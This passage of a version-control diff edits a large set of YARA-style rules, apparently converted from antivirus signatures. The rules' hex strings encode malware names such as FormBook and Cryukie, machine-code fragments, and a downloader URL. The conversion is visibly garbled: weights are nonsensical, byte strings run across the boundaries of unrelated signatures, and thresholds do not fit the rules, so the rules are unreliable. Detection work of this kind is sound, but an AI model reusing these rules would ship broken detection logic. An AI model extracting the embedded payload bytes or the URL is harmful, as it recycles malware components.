74 61 6c 2e 65 6c 65 01 00 0d 81 01 4f 70 75 73 63 75 6c 65 73 2e 69 6e 69 01 00 1e 81 01 5c 68 75 73 65 6a 65 72 65 73 5c 6a 61 67 74 67 65 76 72 65 72 6e 65 5c 67 6f 62 69 61 6e 01 00 0b 81 01 74 6f 6e 6e 69 65 73 2e 65 6e 64 00 00 78 d0 00 00 08 00 08 00 } //25902 + $a_23_2 = {54 41 54 49 43 3a 41 43 53 43 41 52 44 5f 41 64 76 61 6e 63 65 64 5f 43 61 72 64 5f 53 79 73 74 65 } //11 TATIC:ACSCARD_Advanced_Card_Syste + $a_00_5 = {72 00 61 00 64 00 65 00 44 00 61 00 74 00 61 00 01 00 0a 00 43 4f 4e 46 49 53 43 41 54 45 01 00 09 00 47 45 54 5f 53 54 41 54 45 01 00 09 00 49 53 5f 41 42 53 45 4e 54 01 00 0a 00 49 53 5f 50 52 45 53 45 4e 54 01 00 10 00 53 43 4d 20 53 77 61 70 53 6d 61 72 74 20 32 2e 01 00 0c 00 53 45 54 5f 50 52 4f 54 4f } //112 + $a_01_6 = {00 07 00 53 57 41 4c 4c 4f 57 02 00 07 01 81 7f 20 c1 7a 36 dd 02 00 08 01 81 7c 39 30 e3 49 92 d6 02 00 07 01 41 81 38 52 41 54 53 00 00 78 d0 00 00 09 00 09 00 09 00 21 23 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 46 6c 61 } //20291 + $a_72_7 = {41 00 02 00 1a 01 53 4f 46 54 57 41 52 45 5c 4d 69 63 72 6f 73 6f 66 74 5c 50 65 65 72 4e 65 74 02 00 1a 01 25 53 59 53 54 45 4d 52 4f 4f 54 25 5c 74 65 6d 70 5c 5f 64 62 67 2e 74 6d 70 01 00 10 01 25 30 32 64 3a 25 30 32 64 3a 25 30 32 64 20 2d 01 00 0c 01 69 61 73 74 6f 72 33 32 2e 65 78 65 01 00 0d } //26723 + condition: + ((#a_54_0 & 1)*18467+(#a_68_1 & 1)*25902+(#a_23_2 & 1)*11+(#a_00_5 & 1)*112+(#a_01_6 & 1)*20291+(#a_72_7 & 1)*26723) >=8 + +} +rule _InfrastructureShared_15060{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 0b 00 21 " @@ -161042,7 +171856,7 @@ rule _InfrastructureShared_14129{ ((#a_41_0 & 1)*21283+(#a_00_1 & 1)*17748+(#a_5f_2 & 1)*18688+(#a_49_3 & 1)*12345+(#a_48_6 & 1)*8448+(#a_00_7 & 1)*66+(#a_48_8 & 1)*385+(#a_61_9 & 1)*29251+(#a_54_10 & 1)*19770) >=8 } -rule _InfrastructureShared_14130{ +rule _InfrastructureShared_15061{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -161060,7 +171874,7 @@ rule _InfrastructureShared_14130{ ((#a_63_0 & 1)*16931+(#a_2d_1 & 1)*25650+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_d0_6 & 1)*0+(#a_43_7 & 1)*-32497+(#a_44_8 & 1)*29793) >=9 } -rule _InfrastructureShared_14131{ +rule _InfrastructureShared_15062{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -161078,7 +171892,7 @@ rule _InfrastructureShared_14131{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*18177+(#a_65_2 & 1)*26998+(#a_73_3 & 1)*21038+(#a_00_4 & 1)*97+(#a_42_5 & 1)*13877+(#a_41_6 & 1)*13367+(#a_4c_7 & 1)*21325+(#a_01_8 & 1)*-29415) >=9 } -rule _InfrastructureShared_14132{ +rule _InfrastructureShared_15063{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 05 00 21 " @@ -161090,7 +171904,7 @@ rule _InfrastructureShared_14132{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*29285+(#a_48_4 & 1)*8448) >=10 } -rule _InfrastructureShared_14133{ +rule _InfrastructureShared_15064{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -161102,7 +171916,7 @@ rule _InfrastructureShared_14133{ ((#a_54_0 & 1)*18467+(#a_31_1 & 1)*17207+(#a_44_2 & 1)*13873) >=12 } -rule _InfrastructureShared_14134{ +rule _InfrastructureShared_15065{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 04 00 21 " @@ -161114,7 +171928,7 @@ rule _InfrastructureShared_14134{ ((#a_54_0 & 1)*18467+(#a_19_1 & 1)*5126+(#a_01_2 & 1)*-28655) >=12 } -rule _InfrastructureShared_14135{ +rule _InfrastructureShared_15066{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 05 00 21 " @@ -161128,7 +171942,7 @@ rule _InfrastructureShared_14135{ ((#a_54_0 & 1)*18467+(#a_28_1 & 1)*4357+(#a_07_2 & 1)*4868+(#a_06_3 & 1)*-28632+(#a_08_4 & 1)*3542) >=13 } -rule _InfrastructureShared_14136{ +rule _InfrastructureShared_15067{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 06 00 21 " @@ -161143,7 +171957,7 @@ rule _InfrastructureShared_14136{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*-28623+(#a_11_2 & 1)*-10729+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1) >=13 } -rule _InfrastructureShared_14137{ +rule _InfrastructureShared_15068{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 06 00 21 " @@ -161158,7 +171972,7 @@ rule _InfrastructureShared_14137{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*-28623+(#a_11_2 & 1)*-10729+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1) >=13 } -rule _InfrastructureShared_14138{ +rule _InfrastructureShared_15069{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0a 00 21 " @@ -161177,7 +171991,7 @@ rule _InfrastructureShared_14138{ ((#a_5f_0 & 1)*16931+(#a_5c_1 & 1)*20054+(#a_77_2 & 1)*26998+(#a_0f_3 & 1)*1297+(#a_90_4 & 1)*1043+(#a_67_5 & 1)*26994+(#a_42_6 & 1)*19745+(#a_00_7 & 1)*26994+(#a_68_8 & 1)*26624+(#a_4d_9 & 1)*16969) >=13 } -rule _InfrastructureShared_14139{ +rule _InfrastructureShared_15070{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 07 00 21 " @@ -161192,7 +172006,7 @@ rule _InfrastructureShared_14139{ ((#a_4c_0 & 1)*21539+(#a_06_1 & 1)*1025+(#a_01_2 & 1)*28599+(#a_88_4 & 1)*7936+(#a_83_5 & 1)*656+(#a_b0_6 & 1)*656) >=16 } -rule _InfrastructureShared_14140{ +rule _InfrastructureShared_15071{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 0c 00 21 " @@ -161201,18 +172015,15 @@ rule _InfrastructureShared_14140{ $a_00_1 = {01 } //27725 $a_01_3 = {00 09 00 62 70 75 7a 70 6c 6f 7a 6a 01 00 04 00 63 63 72 69 01 00 06 00 68 77 68 6f 79 64 01 00 06 00 6b 76 71 64 73 7a 01 00 04 00 6c 70 70 6f 01 00 09 00 70 74 68 66 68 74 63 71 68 01 00 0b 00 73 77 6f 68 64 6c 75 79 79 69 68 01 00 08 00 76 72 70 76 77 76 64 79 01 00 05 00 77 75 64 6d 76 00 00 78 d0 00 00 4a 00 2b 00 07 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e } //29793 $a_6e_4 = {6f 61 64 65 72 3a 57 69 6e 33 32 2f 43 72 79 75 6b 69 65 2e 53 49 42 21 4d 54 42 00 1e 00 27 03 68 74 74 70 3a 2f 2f 66 6c 61 73 68 2e 63 6f 6d 2e 73 65 2f 53 44 6a 66 64 73 66 64 73 2f 90 02 10 2e 62 69 6e 90 00 1e 00 14 00 52 00 6f 00 6f 00 6b 00 49 00 45 00 2f 00 31 00 2e 00 30 00 01 00 07 00 53 41 4e 44 42 4f 58 01 00 07 00 4d 41 4c 54 45 53 54 01 00 } //28484 - $a_41_5 = {57 41 52 45 01 00 05 00 56 49 52 55 53 0a 00 2a 03 8b fb 41 b9 40 00 00 00 41 b8 00 90 01 01 00 00 8b d3 33 c9 ff d0 48 8b d8 44 8b c7 48 8b d6 48 8b c8 e8 90 01 04 ff d3 90 00 00 00 78 d1 00 00 01 00 01 00 01 00 21 23 48 53 54 52 } //7 - $a_6f_6 = {61 6e 3a 4d 53 49 4c 2f 46 6f 72 6d 42 6f 6f 6b 2e 4b 57 51 4e 31 32 33 21 4d 54 42 00 01 00 9d 03 09 11 07 09 8e 69 5d 09 8e 69 58 09 8e 69 5d 91 13 08 11 07 17 58 08 5d 13 09 07 11 09 08 58 08 5d 91 13 0a 11 07 08 11 07 16 32 03 18 2b 01 17 5a 58 08 5d 13 0b 07 11 0b 91 11 08 61 11 0a 59 20 00 90 01 01 00 00 58 13 0c 11 0c 20 00 90 01 01 } //21562 - $a_20_7 = {90 01 01 00 00 58 20 00 90 01 01 00 00 5d 13 0d 11 0d 20 00 90 01 01 00 00 59 20 00 90 01 01 00 00 58 20 90 01 01 00 00 00 5f 13 0e 07 11 07 11 0e d2 9c 11 07 17 58 13 07 11 07 19 08 5a 1a 5b 3f 73 ff ff ff 90 00 00 00 78 d1 00 00 01 00 01 00 01 00 21 23 4c 6f 77 66 69 3a 48 53 } //0 - $a_57_8 = {6e 33 32 2f 4d 79 57 65 62 53 65 61 72 63 68 2e 42 00 01 00 a4 01 32 00 30 00 31 00 33 00 2d 00 32 00 30 00 31 00 35 00 20 00 4d 00 69 00 6e 00 64 00 73 00 70 00 61 00 72 00 } //21076 - $a_00_9 = {49 00 6e 00 74 00 65 00 72 00 61 00 63 00 74 00 69 00 76 00 65 00 20 00 4e 00 65 00 74 00 77 00 } //107 Interactive Netw - $a_00_10 = {6b 00 2c 00 20 00 49 00 6e 00 63 00 2e 00 20 00 41 00 6e 00 20 00 49 00 41 00 43 00 20 00 43 00 6f 00 6d 00 70 00 61 00 6e 00 79 00 2e 00 20 00 41 00 6c 00 6c 00 20 00 72 00 69 00 67 00 68 00 74 00 73 00 20 00 72 00 65 00 73 00 65 00 72 00 76 00 65 00 64 00 2e 00 00 00 78 d1 00 00 01 00 01 00 01 00 21 23 4c 6f 77 66 69 3a 48 53 54 52 3a 57 } //111 - $a_32_11 = {53 6f 66 74 50 75 6c 73 65 00 01 00 a8 01 53 00 45 00 4c 00 45 00 43 00 54 00 20 00 2a 00 20 00 46 00 52 00 4f 00 4d 00 20 00 57 00 69 00 6e 00 33 00 32 } //28265 + $a_41_5 = {57 41 52 45 01 00 05 00 56 49 52 55 53 0a 00 2a 03 8b fb 41 b9 40 00 00 00 41 b8 00 90 01 01 00 00 8b d3 33 c9 ff d0 48 8b d8 44 8b c7 48 8b d6 48 8b c8 e8 90 01 04 ff d3 90 00 00 00 78 d0 00 00 5a 00 5a 00 04 00 21 23 54 45 4c 3a } //7 + $a_6a_6 = {6e 3a 57 69 6e 36 34 2f 4d 69 6b 65 79 2e 4d 52 21 4d 54 42 00 32 00 20 01 8b c6 66 83 f9 01 66 0f 45 c1 0f b7 c8 0f b6 44 4d c0 30 02 66 ff c1 48 8d 52 01 49 83 e8 01 75 14 00 17 01 ba d4 fe ff ff 2b d3 03 d0 48 63 c2 48 c1 e8 20 33 d0 2b d0 83 fa 64 0a 00 38 01 4c 8b f8 b9 02 00 00 00 48 8d 45 c4 48 89 44 24 28 c7 44 24 20 0a 0a } //29268 + $a_8b_7 = {41 b8 28 28 00 00 49 8b d7 ff d7 44 8b 75 c4 33 d2 41 b8 00 80 00 00 48 8b cb ff 15 0a 00 29 03 48 2b fb 48 8b c3 48 81 ff 00 10 00 00 0f 82 90 01 04 48 83 c7 27 48 8b 5b f8 48 2b c3 48 83 c0 f8 48 83 f8 1f 77 25 90 00 00 00 78 } //0 + $a_48_10 = {54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 6f 72 6d 42 6f 6f 6b 2e 4b 57 51 4e 31 32 33 21 4d 54 42 } //8448 TR:Trojan:MSIL/FormBook.KWQN123!MTB condition: - ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*27725+(#a_01_3 & 1)*29793+(#a_6e_4 & 1)*28484+(#a_41_5 & 1)*7+(#a_6f_6 & 1)*21562+(#a_20_7 & 1)*0+(#a_57_8 & 1)*21076+(#a_00_9 & 1)*107+(#a_00_10 & 1)*111+(#a_32_11 & 1)*28265) >=20 + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*27725+(#a_01_3 & 1)*29793+(#a_6e_4 & 1)*28484+(#a_41_5 & 1)*7+(#a_6a_6 & 1)*29268+(#a_8b_7 & 1)*0+(#a_48_10 & 1)*8448) >=20 } -rule _InfrastructureShared_14141{ +rule _InfrastructureShared_15072{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,4a 00 2b 00 07 00 21 " @@ -161220,14 +172031,27 @@ rule _InfrastructureShared_14141{ $a_46_0 = {54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 43 72 79 75 6b 69 65 2e 53 49 42 21 4d 54 42 00 1e 00 27 03 68 74 74 70 3a 2f 2f 66 6c 61 73 68 2e 63 6f 6d 2e 73 65 2f 53 44 6a 66 64 73 66 64 73 2f 90 02 10 } //16675 $a_6e_1 = {00 1e 00 14 00 52 00 6f 00 6f 00 6b 00 49 00 45 00 2f 00 31 00 2e 00 30 00 01 00 07 00 53 41 4e 44 42 4f 58 01 00 07 00 4d 41 4c 54 45 53 54 01 00 07 00 4d 41 4c 57 41 52 45 01 00 05 00 56 49 52 55 53 0a 00 2a 03 8b fb 41 b9 40 00 00 00 41 b8 00 90 01 01 00 00 8b d3 33 c9 ff d0 48 8b d8 44 8b c7 48 8b d6 48 8b c8 } //25134 $a_04_2 = {ff } //-28440 - $a_00_4 = {00 01 00 01 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 6f 72 6d 42 6f 6f 6b 2e 4b 57 51 4e 31 32 33 21 4d 54 42 00 01 00 9d 03 09 11 07 09 8e 69 5d 09 8e 69 58 09 8e 69 5d 91 13 08 11 07 17 58 08 5d 13 09 07 11 09 08 58 08 5d 91 13 0a 11 07 08 11 07 16 32 03 18 2b 01 17 5a 58 08 5d 13 0b 07 11 0b 91 11 08 61 11 0a 59 20 00 90 01 01 00 00 58 13 0c 11 0c 20 00 90 01 01 00 00 5d 20 00 90 01 01 00 00 58 20 00 90 01 01 00 00 5d 13 0d 11 0d 20 00 90 01 01 00 00 59 20 00 90 01 01 00 00 58 20 90 01 01 00 00 00 5f 13 0e 07 11 07 11 0e d2 9c 11 07 17 58 13 07 11 07 19 08 5a 1a 5b 3f 73 ff ff ff 90 00 00 } //30720 - $a_00_5 = {00 01 00 01 00 01 00 21 23 4c 6f 77 66 69 3a 48 53 54 52 3a 57 69 6e 33 32 2f 4d 79 57 65 62 53 65 61 72 63 68 2e 42 00 01 00 a4 01 32 00 30 00 31 00 33 00 2d 00 32 00 30 00 31 00 35 00 20 00 4d 00 69 00 6e 00 64 00 73 00 70 00 61 00 72 00 6b 00 20 00 49 00 6e 00 74 00 65 00 72 00 61 00 63 00 74 00 69 00 76 00 65 00 20 00 4e 00 65 00 74 00 77 00 6f 00 72 00 6b 00 2c 00 20 00 49 00 6e 00 63 00 2e 00 20 00 41 00 6e 00 20 00 49 00 41 00 43 00 20 00 43 00 6f 00 6d 00 70 00 61 00 6e 00 79 00 2e 00 20 00 41 00 6c 00 6c 00 20 00 72 00 69 00 67 00 68 00 74 00 73 00 20 00 72 00 65 00 73 00 65 00 72 00 76 00 65 00 64 00 2e 00 00 } //30720 - $a_00_6 = {00 01 00 01 00 01 00 21 23 4c 6f 77 66 69 3a 48 53 54 52 3a 57 69 6e 33 32 2f 53 6f 66 74 50 75 6c 73 65 00 01 00 a8 01 53 00 45 00 4c 00 45 00 43 00 54 00 20 00 2a 00 20 00 46 00 52 00 4f 00 4d 00 20 00 57 00 69 00 6e 00 33 00 32 00 5f 00 42 00 49 00 4f 00 53 00 20 00 57 00 48 00 45 00 52 00 45 00 20 00 4d 00 61 00 6e 00 75 00 66 00 61 00 63 00 74 00 75 00 72 00 65 00 72 00 20 00 4c 00 49 00 4b 00 45 00 20 00 27 00 25 00 58 00 45 00 4e 00 25 00 27 00 20 00 6f 00 72 00 20 00 28 00 53 00 4d 00 42 00 49 00 4f 00 53 00 42 00 49 00 4f 00 53 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 20 00 4c 00 49 00 4b 00 45 00 20 00 00 } //30720 + $a_00_4 = {00 5a 00 5a 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4d 69 6b 65 79 2e 4d 52 21 4d 54 42 00 32 00 20 01 8b c6 66 83 f9 01 66 0f 45 c1 0f b7 c8 0f b6 44 4d c0 30 02 66 ff c1 48 8d 52 01 49 83 e8 01 75 14 00 17 01 ba d4 fe ff ff 2b d3 03 d0 48 63 c2 48 c1 e8 20 33 d0 2b d0 83 fa 64 0a 00 38 01 4c 8b f8 b9 02 00 00 00 48 8d 45 c4 48 89 44 24 28 c7 44 24 20 0a 0a 00 00 4c 8b cb 41 b8 28 28 00 00 49 8b d7 ff d7 44 8b 75 c4 33 d2 41 b8 00 80 00 00 48 8b cb ff 15 0a 00 29 03 48 2b fb 48 8b c3 48 81 ff 00 10 00 00 0f 82 90 01 04 48 83 c7 27 48 8b 5b f8 48 2b c3 48 83 c0 f8 48 83 f8 1f 77 25 90 00 00 } //30720 + $a_00_5 = {00 01 00 01 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 6f 72 6d 42 6f 6f 6b 2e 4b 57 51 4e 31 32 33 21 4d 54 42 00 01 00 9d 03 09 11 07 09 8e 69 5d 09 8e 69 58 09 8e 69 5d 91 13 08 11 07 17 58 08 5d 13 09 07 11 09 08 58 08 5d 91 13 0a 11 07 08 11 07 16 32 03 18 2b 01 17 5a 58 08 5d 13 0b 07 11 0b 91 11 08 61 11 0a 59 20 00 90 01 01 00 00 58 13 0c 11 0c 20 00 90 01 01 00 00 5d 20 00 90 01 01 00 00 58 20 00 90 01 01 00 00 5d 13 0d 11 0d 20 00 90 01 01 00 00 59 20 00 90 01 01 00 00 58 20 90 01 01 00 00 00 5f 13 0e 07 11 07 11 0e d2 9c 11 07 17 58 13 07 11 07 19 08 5a 1a 5b 3f 73 ff ff ff 90 00 00 } //30720 + $a_00_6 = {00 01 00 01 00 01 00 21 23 4c 6f 77 66 69 3a 48 53 54 52 3a 57 69 6e 33 32 2f 4d 79 57 65 62 53 65 61 72 63 68 2e 42 00 01 00 a4 01 32 00 30 00 31 00 33 00 2d 00 32 00 30 00 31 00 35 00 20 00 4d 00 69 00 6e 00 64 00 73 00 70 00 61 00 72 00 6b 00 20 00 49 00 6e 00 74 00 65 00 72 00 61 00 63 00 74 00 69 00 76 00 65 00 20 00 4e 00 65 00 74 00 77 00 6f 00 72 00 6b 00 2c 00 20 00 49 00 6e 00 63 00 2e 00 20 00 41 00 6e 00 20 00 49 00 41 00 43 00 20 00 43 00 6f 00 6d 00 70 00 61 00 6e 00 79 00 2e 00 20 00 41 00 6c 00 6c 00 20 00 72 00 69 00 67 00 68 00 74 00 73 00 20 00 72 00 65 00 73 00 65 00 72 00 76 00 65 00 64 00 2e 00 00 } //30720 condition: ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*25134+(#a_04_2 & 1)*-28440+(#a_00_4 & 1)*30720+(#a_00_5 & 1)*30720+(#a_00_6 & 1)*30720) >=43 } -rule _InfrastructureShared_14142{ +rule _InfrastructureShared_15073{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,5a 00 5a 00 04 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4d 69 6b 65 79 2e 4d 52 21 4d 54 42 00 32 00 20 01 8b c6 66 83 f9 01 66 0f 45 c1 0f b7 c8 0f b6 44 4d c0 30 02 66 ff c1 48 8d 52 01 49 83 e8 01 75 14 00 17 01 ba d4 fe } //21539 + $a_d3_1 = {d0 48 63 c2 48 c1 e8 20 33 d0 2b d0 83 fa 64 0a 00 38 01 4c 8b f8 b9 02 00 00 00 48 8d 45 c4 48 89 44 24 28 c7 44 24 20 0a 0a 00 } //-1 + $a_cb_2 = {b8 28 28 00 00 49 8b d7 ff d7 44 8b 75 c4 33 d2 41 b8 00 80 00 00 48 8b cb ff 15 0a 00 29 03 48 2b fb 48 8b c3 48 81 ff 00 10 00 00 0f 82 90 01 04 48 83 c7 27 48 8b 5b f8 48 2b c3 48 83 c0 f8 48 83 f8 1f 77 25 90 00 00 00 78 d1 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 6f 72 6d 42 6f 6f 6b 2e 4b 57 51 4e 31 32 33 21 4d 54 42 00 01 00 9d 03 09 11 07 09 8e 69 5d 09 8e 69 58 } //19456 + $a_5d_3 = {13 08 11 07 17 58 08 5d 13 09 07 11 09 08 58 08 5d 91 13 0a 11 07 08 11 07 16 32 03 18 2b 01 17 5a 58 08 5d 13 0b 07 11 0b 91 11 08 61 11 0a 59 20 00 90 01 01 00 00 58 13 0c 11 0c 20 00 90 01 01 00 00 5d 20 00 90 01 01 00 00 58 20 00 90 01 01 00 00 5d 13 0d 11 0d 20 00 90 01 01 00 00 59 20 00 90 01 01 00 00 58 20 } //-29175 + condition: + ((#a_4c_0 & 1)*21539+(#a_d3_1 & 1)*-1+(#a_cb_2 & 1)*19456+(#a_5d_3 & 1)*-29175) >=90 + +} +rule _InfrastructureShared_15074{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -161237,7 +172061,7 @@ rule _InfrastructureShared_14142{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_14143{ +rule _InfrastructureShared_15075{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -161247,7 +172071,7 @@ rule _InfrastructureShared_14143{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_14144{ +rule _InfrastructureShared_15076{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -161257,7 +172081,7 @@ rule _InfrastructureShared_14144{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_14145{ +rule _InfrastructureShared_15077{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -161267,7 +172091,7 @@ rule _InfrastructureShared_14145{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_14146{ +rule _InfrastructureShared_15078{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -161278,7 +172102,7 @@ rule _InfrastructureShared_14146{ ((#a_46_0 & 1)*21283+(#a_04_1 & 1)*-28539) >=1 } -rule _InfrastructureShared_14147{ +rule _InfrastructureShared_15079{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -161288,7 +172112,7 @@ rule _InfrastructureShared_14147{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_14148{ +rule _InfrastructureShared_15080{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -161298,7 +172122,7 @@ rule _InfrastructureShared_14148{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_14149{ +rule _InfrastructureShared_15081{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -161308,7 +172132,7 @@ rule _InfrastructureShared_14149{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_14150{ +rule _InfrastructureShared_15082{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -161320,7 +172144,7 @@ rule _InfrastructureShared_14150{ ((#a_46_0 & 1)*16675+(#a_9d_1 & 1)*1025+(#a_52_2 & 1)*31337) >=2 } -rule _InfrastructureShared_14151{ +rule _InfrastructureShared_15083{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -161332,7 +172156,7 @@ rule _InfrastructureShared_14151{ ((#a_46_0 & 1)*16675+(#a_66_1 & 1)*11008+(#a_61_2 & 1)*29281) >=2 } -rule _InfrastructureShared_14152{ +rule _InfrastructureShared_15084{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -161343,7 +172167,7 @@ rule _InfrastructureShared_14152{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*33) >=3 } -rule _InfrastructureShared_14153{ +rule _InfrastructureShared_15085{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -161355,7 +172179,7 @@ rule _InfrastructureShared_14153{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*8307+(#a_73_2 & 1)*28265) >=3 } -rule _InfrastructureShared_14154{ +rule _InfrastructureShared_15086{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -161366,7 +172190,7 @@ rule _InfrastructureShared_14154{ ((#a_6c_0 & 1)*16675+(#a_01_2 & 1)*1) >=3 } -rule _InfrastructureShared_14155{ +rule _InfrastructureShared_15087{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -161378,7 +172202,7 @@ rule _InfrastructureShared_14155{ ((#a_63_0 & 1)*17699+(#a_69_1 & 1)*21340+(#a_65_2 & 1)*29806) >=3 } -rule _InfrastructureShared_14156{ +rule _InfrastructureShared_15088{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -161388,7 +172212,7 @@ rule _InfrastructureShared_14156{ ((#a_54_0 & 1)*18467) >=3 } -rule _InfrastructureShared_14157{ +rule _InfrastructureShared_15089{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -161400,7 +172224,7 @@ rule _InfrastructureShared_14157{ ((#a_54_0 & 1)*18467+(#a_0a_1 & 1)*1025+(#a_00_2 & 1)*4) >=3 } -rule _InfrastructureShared_14158{ +rule _InfrastructureShared_15090{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -161412,7 +172236,7 @@ rule _InfrastructureShared_14158{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*111+(#a_00_3 & 1)*64) >=4 } -rule _InfrastructureShared_14159{ +rule _InfrastructureShared_15091{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -161425,7 +172249,7 @@ rule _InfrastructureShared_14159{ ((#a_54_0 & 1)*18467+(#a_13_1 & 1)*5894+(#a_00_2 & 1)*29541+(#a_65_3 & 1)*385) >=4 } -rule _InfrastructureShared_14160{ +rule _InfrastructureShared_15092{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -161437,7 +172261,7 @@ rule _InfrastructureShared_14160{ ((#a_4c_0 & 1)*21539+(#a_28_2 & 1)*17607+(#a_00_3 & 1)*-6144) >=4 } -rule _InfrastructureShared_14161{ +rule _InfrastructureShared_15093{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -161451,7 +172275,7 @@ rule _InfrastructureShared_14161{ ((#a_54_0 & 1)*18467+(#a_31_1 & 1)*17720+(#a_39_2 & 1)*14648+(#a_74_3 & 1)*25959+(#a_63_4 & 1)*30063) >=4 } -rule _InfrastructureShared_14162{ +rule _InfrastructureShared_15094{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " @@ -161464,7 +172288,7 @@ rule _InfrastructureShared_14162{ ((#a_54_0 & 1)*18467+(#a_0c_1 & 1)*0+(#a_63_2 & 1)*27760+(#a_00_3 & 1)*0) >=5 } -rule _InfrastructureShared_14163{ +rule _InfrastructureShared_15095{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " @@ -161477,7 +172301,7 @@ rule _InfrastructureShared_14163{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*1+(#a_02_2 & 1)*1+(#a_01_3 & 1)*1) >=5 } -rule _InfrastructureShared_14164{ +rule _InfrastructureShared_15096{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 